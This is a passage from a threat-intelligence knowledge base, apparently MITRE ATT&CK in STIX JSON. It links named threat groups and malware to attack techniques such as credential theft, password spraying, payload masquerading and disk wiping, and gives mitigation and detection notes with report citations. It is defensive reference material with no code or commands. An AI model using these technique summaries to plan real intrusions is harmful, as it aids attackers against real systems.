win10_asr)","relationship_type":"mitigates","source_ref":"course-of-action--90f39ee1-d5a3-4aaa-9f28-3b42815b0d46","target_ref":"attack-pattern--a9e2cea0-c805-4bf8-9e31-f5f0513a3634","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--d667c620-28cb-4c86-83f7-33d6c154369c","type":"relationship","created":"2021-03-26T21:11:31.267Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Cybereason Bazar July 2020","url":"https://www.cybereason.com/blog/a-bazar-of-tricks-following-team9s-development-cycles","description":"Cybereason Nocturnus. (2020, July 16). A BAZAR OF TRICKS: FOLLOWING TEAM9’S DEVELOPMENT CYCLES. Retrieved November 18, 2020."}],"modified":"2021-08-10T14:13:46.093Z","description":"The [Bazar](https://attack.mitre.org/software/S0534) loader has used dual-extension executable files such as PreviewReport.DOC.exe.(Citation: Cybereason Bazar July 2020)","relationship_type":"uses","source_ref":"malware--99fdf3b4-96ef-4ab9-b191-fc683441cad0","target_ref":"attack-pattern--11f29a39-0942-4d62-92b6-fe236cf3066e","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--d667d9d6-518a-4854-90db-c1661aba2130","created":"2024-09-23T22:57:41.516Z","revoked":false,"external_references":[{"source_name":"group-ib_redcurl1","description":"Group-IB. (2020, August). RedCurl: The Pentest You Didn’t Know About. Retrieved August 9, 2024.","url":"https://www.group-ib.com/resources/research-hub/red-curl/"},{"source_name":"group-ib_redcurl2","description":"Group-IB. (2021, November). RedCurl: The Awakening. Retrieved August 14, 2024.","url":"https://www.group-ib.com/resources/research-hub/red-curl-2/"},{"source_name":"trendmicro_redcurl","description":"Tancio et al. (2024, March 6). Unveiling Earth Kapre aka RedCurl’s Cyberespionage Tactics With Trend Micro MDR, Threat Intelligence. Retrieved August 9, 2024.","url":"https://www.trendmicro.com/en_us/research/24/c/unveiling-earth-kapre-aka-redcurls-cyberespionage-tactics-with-t.html"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-09-23T22:57:41.516Z","description":"[RedCurl](https://attack.mitre.org/groups/G1039) has deleted files after execution.(Citation: group-ib_redcurl1)(Citation: group-ib_redcurl2)(Citation: trendmicro_redcurl)","relationship_type":"uses","source_ref":"intrusion-set--82323c70-4186-4b61-94f5-b227c3b28e89","target_ref":"attack-pattern--d63a3fb8-9452-4e9d-a60a-54be68d5998c","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--d66da21d-1a8c-4b32-b700-f1d3d938b57e","type":"relationship","created":"2020-06-10T21:56:40.115Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"ESET Telebots Dec 2016","url":"https://www.welivesecurity.com/2016/12/13/rise-telebots-analyzing-disruptive-killdisk-attacks/","description":"Cherepanov, A.. (2016, December 13). The rise of TeleBots: Analyzing disruptive KillDisk attacks. Retrieved June 10, 2020."},{"source_name":"ESET Telebots June 2017","url":"https://www.welivesecurity.com/2017/06/30/telebots-back-supply-chain-attacks-against-ukraine/","description":"Cherepanov, A.. (2017, June 30). TeleBots are back: Supply chain attacks against Ukraine. Retrieved June 11, 2020."}],"modified":"2020-06-18T20:24:21.408Z","description":"[Sandworm Team](https://attack.mitre.org/groups/G0034) has used the Telegram Bot API from Telegram Messenger to send and receive commands to its Python backdoor. [Sandworm Team](https://attack.mitre.org/groups/G0034) also used legitimate M.E.Doc software update check requests for sending and receiving commands and hosted malicious payloads on putdrive.com.(Citation: ESET Telebots Dec 2016)(Citation: ESET Telebots June 2017)","relationship_type":"uses","source_ref":"intrusion-set--381fcf73-60f6-4ab2-9991-6af3cbc35192","target_ref":"attack-pattern--be055942-6e63-49d7-9fa1-9cb7d8a8f3f4","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--d670ddce-d32a-4165-a56e-5bb183f4c904","type":"relationship","created":"2020-06-19T19:08:40.400Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Cybereason Valak May 2020","url":"https://www.cybereason.com/blog/valak-more-than-meets-the-eye","description":"Salem, E. et al. (2020, May 28). VALAK: MORE THAN MEETS THE EYE . Retrieved June 19, 2020."}],"modified":"2020-06-22T23:46:45.354Z","description":"[Valak](https://attack.mitre.org/software/S0476) has the ability to enumerate local admin accounts.(Citation: Cybereason Valak May 2020)","relationship_type":"uses","source_ref":"malware--ade37ada-14af-4b44-b36c-210eec255d53","target_ref":"attack-pattern--25659dd6-ea12-45c4-97e6-381e3e4b593e","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--d67e450d-8b3c-4b6b-8213-c29223a7f4d6","created":"2021-09-14T18:29:17.822Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"NCC Group WastedLocker June 2020","description":"Antenucci, S., Pantazopoulos, N., Sandee, M. (2020, June 23). WastedLocker: A New Ransomware Variant Developed By The Evil Corp Group. Retrieved September 14, 2021.","url":"https://research.nccgroup.com/2020/06/23/wastedlocker-a-new-ransomware-variant-developed-by-the-evil-corp-group/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-04-10T22:15:38.359Z","description":"The [WastedLocker](https://attack.mitre.org/software/S0612) payload includes encrypted strings stored within the .bss section of the binary file.(Citation: NCC Group WastedLocker June 2020) ","relationship_type":"uses","source_ref":"malware--46cbafbc-8907-42d3-9002-5327c26f8927","target_ref":"attack-pattern--0d91b3c0-5e50-47c3-949a-2a796f04d144","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--d68120b8-9ef8-4a40-ae4c-d2b597336140","type":"relationship","created":"2019-01-29T20:17:49.301Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"description":"Ray, V. (2016, November 22). Tropic Trooper Targets Taiwanese Government and Fossil Fuel Provider With Poison Ivy. Retrieved November 9, 2018.","url":"https://researchcenter.paloaltonetworks.com/2016/11/unit42-tropic-trooper-targets-taiwanese-government-and-fossil-fuel-provider-with-poison-ivy/","source_name":"Unit 42 Tropic Trooper Nov 2016"},{"source_name":"TrendMicro Tropic Trooper May 2020","url":"https://documents.trendmicro.com/assets/Tech-Brief-Tropic-Trooper-s-Back-USBferry-Attack-Targets-Air-gapped-Environments.pdf","description":"Chen, J.. (2020, May 12). Tropic Trooper’s Back: USBferry Attack Targets Air gapped Environments. Retrieved May 20, 2020."}],"modified":"2020-05-21T12:59:00.542Z","description":"[Tropic Trooper](https://attack.mitre.org/groups/G0081) used shellcode with an XOR algorithm to decrypt a payload. [Tropic Trooper](https://attack.mitre.org/groups/G0081) also decrypted image files which contained a payload.(Citation: Unit 42 Tropic Trooper Nov 2016)(Citation: TrendMicro Tropic Trooper May 2020)","relationship_type":"uses","source_ref":"intrusion-set--56319646-eb6e-41fc-ae53-aadfa7adb924","target_ref":"attack-pattern--3ccef7ae-cb5e-48f6-8302-897105fbf55c","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--d682570b-068d-421e-a6b4-a93640bd34dc","created":"2022-06-28T14:36:56.406Z","x_mitre_version":"0.1","external_references":[{"source_name":"CrowdStrike IceApple May 2022","url":"https://www.crowdstrike.com/wp-content/uploads/2022/05/crowdstrike-iceapple-a-novel-internet-information-services-post-exploitation-framework.pdf","description":"CrowdStrike. (2022, May). ICEAPPLE: A NOVEL INTERNET INFORMATION SERVICES (IIS) POST-EXPLOITATION FRAMEWORK. Retrieved June 27, 2022."}],"x_mitre_deprecated":false,"revoked":false,"description":"The [IceApple](https://attack.mitre.org/software/S1022) Active Directory Querier module can perform authenticated requests against an Active Directory server.(Citation: CrowdStrike IceApple May 2022)","modified":"2022-06-28T14:36:56.406Z","relationship_type":"uses","source_ref":"malware--dd889a55-fb2c-4ec7-8e9f-c399939a49e1","target_ref":"attack-pattern--21875073-b0ee-49e3-9077-1e2a885359af","x_mitre_attack_spec_version":"2.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--d6829fd4-7c9b-495f-9689-d1be1939f99e","type":"relationship","created":"2020-06-24T18:16:36.574Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Medium Metamorfo Apr 2020","url":"https://medium.com/@chenerlich/the-avast-abuser-metamorfo-banking-malware-hides-by-abusing-avast-executable-ac9b8b392767","description":"Erlich, C. (2020, April 3). The Avast Abuser: Metamorfo Banking Malware Hides By Abusing Avast Executable. Retrieved May 26, 2020."},{"source_name":"ESET Casbaneiro Oct 2019","url":"https://www.welivesecurity.com/2019/10/03/casbaneiro-trojan-dangerous-cooking/","description":"ESET Research. (2019, October 3). Casbaneiro: peculiarities of this banking Trojan that affects Brazil and Mexico. Retrieved September 23, 2021."}],"modified":"2021-09-27T19:32:34.205Z","description":"[Metamorfo](https://attack.mitre.org/software/S0455) has disguised an MSI file as the Adobe Acrobat Reader Installer and has masqueraded payloads as OneDrive, WhatsApp, or Spotify, for example.(Citation: Medium Metamorfo Apr 2020)(Citation: ESET Casbaneiro Oct 2019) ","relationship_type":"uses","source_ref":"malware--81c57a96-fc8c-4f91-af8e-63e24c2927c2","target_ref":"attack-pattern--1c4e5d32-1fe9-4116-9d9d-59e3925bd6a2","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--d68649d8-4f18-48b8-93b8-82c8660fc464","type":"relationship","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Unit 42 VERMIN Jan 2018","description":"Lancaster, T., Cortes, J. (2018, January 29). VERMIN: Quasar RAT and Custom Malware Used In Ukraine. Retrieved July 5, 2018.","url":"https://researchcenter.paloaltonetworks.com/2018/01/unit42-vermin-quasar-rat-custom-malware-used-ukraine/"}],"modified":"2020-03-16T19:50:57.853Z","description":"[VERMIN](https://attack.mitre.org/software/S0257) can download and upload files to the victim's machine.(Citation: Unit 42 VERMIN Jan 2018)","relationship_type":"uses","source_ref":"malware--5189f018-fea2-45d7-b0ed-23f9ee0a46f3","target_ref":"attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--d687171f-152f-4211-95bb-e051dc61575f","created":"2022-04-15T01:29:57.601Z","x_mitre_version":"0.1","external_references":[{"source_name":"SentinelOne Hermetic Wiper February 2022","url":"https://www.sentinelone.com/labs/hermetic-wiper-ukraine-under-attack","description":"Guerrero-Saade, J. (2022, February 23). HermeticWiper | New Destructive Malware Used In Cyber Attacks on Ukraine. Retrieved March 25, 2022."},{"source_name":"Crowdstrike DriveSlayer February 2022","url":"https://www.crowdstrike.com/blog/how-crowdstrike-falcon-protects-against-wiper-malware-used-in-ukraine-attacks/","description":"Thomas, W. et al. (2022, February 25). CrowdStrike Falcon Protects from New Wiper Malware Used in Ukraine Cyberattacks. Retrieved March 25, 2022."}],"x_mitre_deprecated":false,"revoked":false,"description":"[HermeticWiper](https://attack.mitre.org/software/S0697) has the ability to corrupt disk partitions and obtain raw disk access to destroy data.(Citation: Crowdstrike DriveSlayer February 2022)(Citation: SentinelOne Hermetic Wiper February 2022)","modified":"2022-04-15T01:33:53.699Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","relationship_type":"uses","source_ref":"malware--a0ab8a96-40c9-4483-8a54-3fafa6d6007a","target_ref":"attack-pattern--fb640c43-aa6b-431e-a961-a279010424ac","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--d68f3474-8ba0-45e8-8876-3b1dd8a56fbf","type":"relationship","created":"2021-05-06T15:18:49.485Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Check Point APT34 April 2021","url":"https://research.checkpoint.com/2021/irans-apt34-returns-with-an-updated-arsenal/","description":"Check Point. (2021, April 8). Iran’s APT34 Returns with an Updated Arsenal. Retrieved May 5, 2021."}],"modified":"2021-05-06T15:18:49.485Z","description":"[SideTwist](https://attack.mitre.org/software/S0610) can collect the computer name of a targeted system.(Citation: Check Point APT34 April 2021)","relationship_type":"uses","source_ref":"malware--df4cd566-ff2f-4d08-976d-8c86e95782de","target_ref":"attack-pattern--354a7f88-63fb-41b5-a801-ce3b377b36f1","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--d68ff9e8-0766-49ea-8ddc-4308347c5bac","type":"relationship","created":"2018-04-18T17:59:24.739Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Symantec Hydraq Jan 2010","description":"Lelli, A. (2010, January 11). Trojan.Hydraq. Retrieved February 20, 2018.","url":"https://www.symantec.com/security_response/writeup.jsp?docid=2010-011114-1830-99"}],"modified":"2020-02-18T03:48:53.623Z","description":"[Hydraq](https://attack.mitre.org/software/S0203) creates a backdoor through which remote attackers can adjust token privileges.(Citation: Symantec Hydraq Jan 2010)","relationship_type":"uses","source_ref":"malware--73a4793a-ce55-4159-b2a6-208ef29b326f","target_ref":"attack-pattern--dcaa092b-7de9-4a21-977f-7fcb77e89c48","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--d691e305-8ce5-40cd-a648-b0dcab329e69","type":"relationship","created":"2018-01-16T16:13:52.465Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://www.secureworks.com/research/bronze-butler-targets-japanese-businesses","description":"Counter Threat Unit Research Team. (2017, October 12). BRONZE BUTLER Targets Japanese Enterprises. Retrieved January 4, 2018.","source_name":"Secureworks BRONZE BUTLER Oct 2017"}],"modified":"2019-03-22T19:57:37.437Z","description":"(Citation: Secureworks BRONZE BUTLER Oct 2017)","relationship_type":"uses","source_ref":"intrusion-set--93f52415-0fe4-4d3d-896c-fc9b8e88ab90","target_ref":"tool--c9703cd3-141c-43a0-a926-380082be5d04","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--d6958d59-7b54-407c-8bd9-00891c580acc","type":"relationship","created":"2020-09-11T19:53:58.241Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Microsoft STRONTIUM New Patterns Cred Harvesting Sept 2020","url":"https://www.microsoft.com/security/blog/2020/09/10/strontium-detecting-new-patters-credential-harvesting/","description":"Microsoft Threat Intelligence Center (MSTIC). (2020, September 10). STRONTIUM: Detecting new patterns in credential harvesting. Retrieved September 11, 2020."},{"source_name":"Microsoft Targeting Elections September 2020","url":"https://blogs.microsoft.com/on-the-issues/2020/09/10/cyberattacks-us-elections-trump-biden/","description":"Burt, T. (2020, September 10). New cyberattacks targeting U.S. elections. Retrieved March 24, 2021."},{"source_name":"Cybersecurity Advisory GRU Brute Force Campaign July 2021","url":"https://media.defense.gov/2021/Jul/01/2002753896/-1/-1/1/CSA_GRU_GLOBAL_BRUTE_FORCE_CAMPAIGN_UOO158036-21.PDF","description":"NSA, CISA, FBI, NCSC. (2021, July). Russian GRU Conducting Global Brute Force Campaign to Compromise Enterprise and Cloud Environments. Retrieved July 26, 2021."}],"modified":"2021-07-27T13:17:43.313Z","description":"[APT28](https://attack.mitre.org/groups/G0007) has used a brute-force/password-spray tooling that operated in two modes: in password-spraying mode it conducted approximately four authentication attempts per hour per targeted account over the course of several days or weeks.(Citation: Microsoft STRONTIUM New Patterns Cred Harvesting Sept 2020)(Citation: Microsoft Targeting Elections September 2020) [APT28](https://attack.mitre.org/groups/G0007) has also used a Kubernetes cluster to conduct distributed, large-scale password spray attacks.(Citation: Cybersecurity Advisory GRU Brute Force Campaign July 2021)","relationship_type":"uses","source_ref":"intrusion-set--bef4c620-0787-42a8-a96d-b7eb6e85917c","target_ref":"attack-pattern--692074ae-bb62-4a5e-a735-02cb6bde458c","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--d6a29b67-d323-4579-9c8e-1c95a0ea7c20","type":"relationship","created":"2020-09-24T14:20:39.249Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"ESET Dukes October 2019","url":"https://www.welivesecurity.com/wp-content/uploads/2019/10/ESET_Operation_Ghost_Dukes.pdf","description":"Faou, M., Tartare, M., Dupuy, T. (2019, October). OPERATION GHOST. Retrieved September 23, 2020."}],"modified":"2020-10-09T16:08:00.302Z","description":"[FatDuke](https://attack.mitre.org/software/S0512) can AES encrypt C2 communications.(Citation: ESET Dukes October 2019)","relationship_type":"uses","source_ref":"malware--54a01db0-9fab-4d5f-8209-53cef8425f4a","target_ref":"attack-pattern--24bfaeba-cb0d-4525-b3dc-507c77ecec41","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--d6a77085-88e6-4446-8613-2933d1f3f55e","created":"2023-07-10T15:47:06.632Z","revoked":false,"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-07-10T15:47:06.632Z","description":"Deny direct access of broadcasts and multicast sniffing, and prevent attacks such as [LLMNR/NBT-NS Poisoning and SMB Relay](https://attack.mitre.org/techniques/T1557/001)","relationship_type":"mitigates","source_ref":"course-of-action--86598de0-b347-4928-9eb0-0acbfc21908c","target_ref":"attack-pattern--3257eb21-f9a7-4430-8de1-d8b6e288f529","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--d6ab9ff5-5d3a-4d65-974e-57937658c389","type":"relationship","created":"2022-03-30T14:26:51.874Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-03-30T14:26:51.874Z","description":"Monitor for newly constructed image that may use an existing, legitimate external Web service to exfiltrate data rather than their primary command and control channel.","source_ref":"x-mitre-data-component--b008766d-f34f-4ded-b712-659f59aaed6e","target_ref":"attack-pattern--8c32eb4d-805f-4fc5-bf60-c4d476c131b5","relationship_type":"detects","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--d6afb4c9-f0e5-4a52-a012-8a30a934207f","created":"2022-07-11T20:31:36.542Z","x_mitre_version":"0.1","x_mitre_deprecated":false,"revoked":false,"description":"Automatically forward mail data and events to a log server or data repository to prevent conditions in which the adversary can locate and manipulate data on the local system. When possible, minimize time delay on event reporting to avoid prolonged storage on the local system. ","modified":"2022-07-11T20:31:36.542Z","relationship_type":"mitigates","source_ref":"course-of-action--20a2baeb-98c2-4901-bad7-dc62d0a03dea","target_ref":"attack-pattern--438c967d-3996-4870-bfc2-3954752a1927","x_mitre_attack_spec_version":"2.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--d6b24dda-b98e-44d0-913c-cb1987eba799","created":"2023-03-29T20:59:20.067Z","revoked":false,"external_references":[{"source_name":"GitHub Rubeus March 2023","description":"Harmj0y. (n.d.). Rubeus. Retrieved March 29, 2023.","url":"https://github.com/GhostPack/Rubeus"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-03-29T20:59:20.067Z","description":"[Rubeus](https://attack.mitre.org/software/S1071) can forge a ticket-granting ticket.(Citation: GitHub Rubeus March 2023)","relationship_type":"uses","source_ref":"tool--e33267fe-099f-4af2-8730-63d49f8813b2","target_ref":"attack-pattern--768dce68-8d0d-477a-b01d-0eea98b963a1","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--d6b2febc-64a1-48cd-88f1-67295650d9cb","created":"2022-09-22T00:33:42.842Z","revoked":false,"external_references":[{"source_name":"McAfee Night Dragon","description":"McAfee® Foundstone® Professional Services and McAfee Labs™. (2011, February 10). Global Energy Cyberattacks: “Night Dragon”. Retrieved February 19, 2018.","url":"https://scadahacker.com/library/Documents/Cyber_Events/McAfee%20-%20Night%20Dragon%20-%20Global%20Energy%20Cyberattacks.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2022-09-22T00:33:42.842Z","description":"During [Night Dragon](https://attack.mitre.org/campaigns/C0002), threat actors used Cain & Abel to crack password hashes.(Citation: McAfee Night Dragon)","relationship_type":"uses","source_ref":"campaign--ae407e32-87e0-4d92-8705-3ae25d504d8a","target_ref":"attack-pattern--1d24cdee-9ea2-4189-b08e-af110bf2435d","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"2.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--d6b31077-90cf-4279-9064-f83550834447","created":"2024-08-09T18:07:37.038Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Mandiant ROADSWEEP August 2022","description":"Jenkins, L. at al. (2022, August 4). ROADSWEEP Ransomware - Likely Iranian Threat Actor Conducts Politically Motivated Disruptive Activity Against Albanian Government Organizations. Retrieved August 6, 2024.","url":"https://cloud.google.com/blog/topics/threat-intelligence/likely-iranian-threat-actor-conducts-politically-motivated-disruptive-activity-against/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-08-21T19:32:36.265Z","description":"[CHIMNEYSWEEP](https://attack.mitre.org/software/S1149) can make use of the Windows `SilentCleanup` scheduled task to execute its payload with elevated privileges.(Citation: Mandiant ROADSWEEP August 2022)","relationship_type":"uses","source_ref":"malware--542e3384-341a-455b-bb48-4917b25e3b00","target_ref":"attack-pattern--120d5519-3098-4e1c-9191-2aa61232f073","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--d6b4cd9a-a8bd-4c9f-b716-e29710f1e934","type":"relationship","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Symantec Tick Apr 2016","description":"DiMaggio, J. (2016, April 28). Tick cyberespionage group zeros in on Japan. Retrieved July 16, 2018.","url":"https://www.symantec.com/connect/blogs/tick-cyberespionage-group-zeros-japan"}],"modified":"2020-03-19T22:42:14.117Z","description":"[Daserf](https://attack.mitre.org/software/S0187) leverages [Mimikatz](https://attack.mitre.org/software/S0002) and [Windows Credential Editor](https://attack.mitre.org/software/S0005) to steal credentials.(Citation: Symantec Tick Apr 2016)","relationship_type":"uses","source_ref":"malware--b6b3dfc7-9a81-43ff-ac04-698bad48973a","target_ref":"attack-pattern--65f2d882-3f41-4d48-8a06-29af77ec9f90","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--d6bb4c39-f4d1-41aa-8b0a-363f198ed6ab","created":"2023-03-06T23:36:34.198Z","revoked":false,"external_references":[{"source_name":"Secureworks DarkTortilla Aug 2022","description":"Secureworks Counter Threat Unit Research Team. (2022, August 17). DarkTortilla Malware Analysis. Retrieved November 3, 2022.","url":"https://www.secureworks.com/research/darktortilla-malware-analysis"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-03-06T23:36:34.198Z","description":"[DarkTortilla](https://attack.mitre.org/software/S1066) has modified registry keys for persistence.(Citation: Secureworks DarkTortilla Aug 2022)","relationship_type":"uses","source_ref":"malware--5faaf81a-aa5b-4a4b-bae5-522439e068f8","target_ref":"attack-pattern--57340c81-c025-4189-8fa0-fc7ede51bae4","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--d6c628b9-789a-416b-8abe-cd457e566346","type":"relationship","created":"2017-12-14T16:46:06.044Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://www.proofpoint.com/sites/default/files/proofpoint-operation-transparent-tribe-threat-insight-en.pdf","description":"Huss, D. (2016, March 1). Operation Transparent Tribe. Retrieved June 8, 2016.","source_name":"Proofpoint Operation Transparent Tribe March 2016"},{"source_name":"Kaspersky Transparent Tribe August 2020","url":"https://securelist.com/transparent-tribe-part-1/98127/","description":"Dedola, G. (2020, August 20). Transparent Tribe: Evolution analysis, part 1. Retrieved September 2, 2021."}],"modified":"2021-10-15T14:37:09.462Z","description":"[Crimson](https://attack.mitre.org/software/S0115) uses a custom TCP protocol for C2.(Citation: Proofpoint Operation Transparent Tribe March 2016)(Citation: Kaspersky Transparent Tribe August 2020)\t ","relationship_type":"uses","source_ref":"malware--326af1cd-78e7-45b7-a326-125d2f7ef8f2","target_ref":"attack-pattern--c21d5a77-d422-4a69-acd7-2c53c1faa34b","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--d6c9a16c-b643-46ef-9168-0ef6d9e071c8","type":"relationship","created":"2022-03-30T14:26:51.868Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-03-30T14:26:51.868Z","description":"Monitor the Registry for changes to the SSP Registry keys. Windows 8.1 and Windows Server 2012 R2 may generate events when unsigned SSP DLLs try to load into the LSA by setting the Registry key HKLM\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution Options\\LSASS.exe with AuditLevel = 8. (Citation: Graeber 2014) (Citation: Microsoft Configure 